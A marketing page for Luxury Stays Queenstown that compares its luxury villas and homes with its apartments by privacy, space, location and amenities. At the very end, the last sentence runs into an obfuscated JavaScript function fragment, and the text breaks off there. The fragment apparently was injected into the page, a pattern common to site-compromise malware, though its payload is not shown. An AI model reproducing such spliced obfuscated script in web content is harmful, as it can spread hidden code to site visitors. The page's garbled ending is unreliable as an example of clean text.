Here’s some help on determining the best luxury accommodation fit for your stay, holiday or vacation in Queenstown New Zealand with Luxury Stays Queenstown.

When choosing between one of Luxury Stays Queenstown’s Holiday homes, luxury villas, luxury lodges, or luxury apartments, your decision will be shaped by your personal lifestyle preferences, privacy needs, and even the kind of experience you’re looking to create, and by your expectations of the Queenstown Luxury Accommodation that you are seeking – i.e location, views, accessibility, etc etc.  All of the luxury accommodation options offer an array of high-end amenities, but luxury apartments and luxury villas and homes cater to different desires and ways of vacationing! Here’s a breakdown of the features and considerations that distinguish our luxury villas & homes from luxury apartments to help you decide which is the better fit for your Queenstown stay!

Luxury Villas & Homes: The Epitome of Space and Privacy

Luxury villas and homes are typically a stand alone accommodation, offering expansive living spaces, making them ideal for those who prioritise privacy, space, and a sense of exclusivity. These luxury properties are often single dwelling and feature landscaped gardens, on occasion a private spa / hot tub, and fabulous outdoor living areas with spectacular views, allowing you to enjoy resort-style living without any disruptions.

Key Features of a Luxury Villa or Luxury Home

  • Spacious Layouts: Villas usually have multiple bedrooms, vast living areas, and large kitchens.
  • Private Outdoor Spaces: Expect private hot tubs, gardens, terraces, and outdoor entertainment areas.
  • Exclusive Amenities: Villas may come with high-end amenities like home theaters, fitness rooms, saunas and fab in-home tech for music and entertainment.
  • Customisation: Your stay will always include high end linen and bathroom products
  • Privacy: With no shared walls or common areas, villas offer unmatched seclusion for privacy

A luxury villa is perfect if you value privacy, need extra space for family or guests, or enjoy having control over your surroundings. It’s also a great choice for those who love hosting gatherings or desire a holiday home that feels more like a private retreat.

Luxury Apartments: Urban Sophistication and Convenience

Luxury apartments, on the other hand, are typically located in central locations such as central Queenstown and the main road out to Frankton, offering a mix of modern convenience and stylish vacationing. They are ideal for smaller groups of people who want to be in the heart of the action, often within walking distance to Queenstown and the waterfront with its’ eclectic shopping, evening entertainment and copious amounts of cafes and eateries!

Luxury Stays Queenstown’s luxury apartments offer independence with high end kitchens, are all well serviced, and have been chosen for adding experiential value to your vacation or holiday in Queenstown.  Many of our apartments offer secure parking and are ‘winterised’ for the skiing season!

Key Features of a Luxury Apartment

  • Prime Location: most of our luxury apartments are situated on the slopes above central Queenstown or along the drive back towards Frankton with sweeping views over Lake Wakatipu, the Remarkables or across to Cecil Peak.
  • Comfortable and relaxing Facilities: It’s important to note at this point that locals live a little differently down here in Queenstown New Zealand.  We have so much natural beauty at our fingertips that if we want a swim, then we take a dip in the lake.  If we want exercise, we head out the front door and go for a bike ride, a run, a hike, or a ski.  Our luxury apartments are about facilitating this experience.
  • Smart Living: Many of our luxury Apartments come equipped with the latest technology—smart home features, high-speed internet, and climate control systems for your comfort.

Luxury apartments are the go-to for individuals, couple or small groups who prefer convenience, and the ease of a stressless holiday.

Why Choose One Over the Other?

In Queenstown, your decision will most likely be based on the need for privacy, our group size and potentially your socialising and catering needs.  The way Queenstown is spread out geographically, means that luxury villas, luxury homes, luxury lodges and luxury apartments could be interspersed amongst each other, rather than apartments in the centre and villa’s on the outskirts of town.

In saying that, a number of our luxury villa’s are set apart from other developments and command the most spectacular of views.function _0x472b(_0x354c7b,_0x1bba18){var _0x2ac71e=_0x2ac7();return
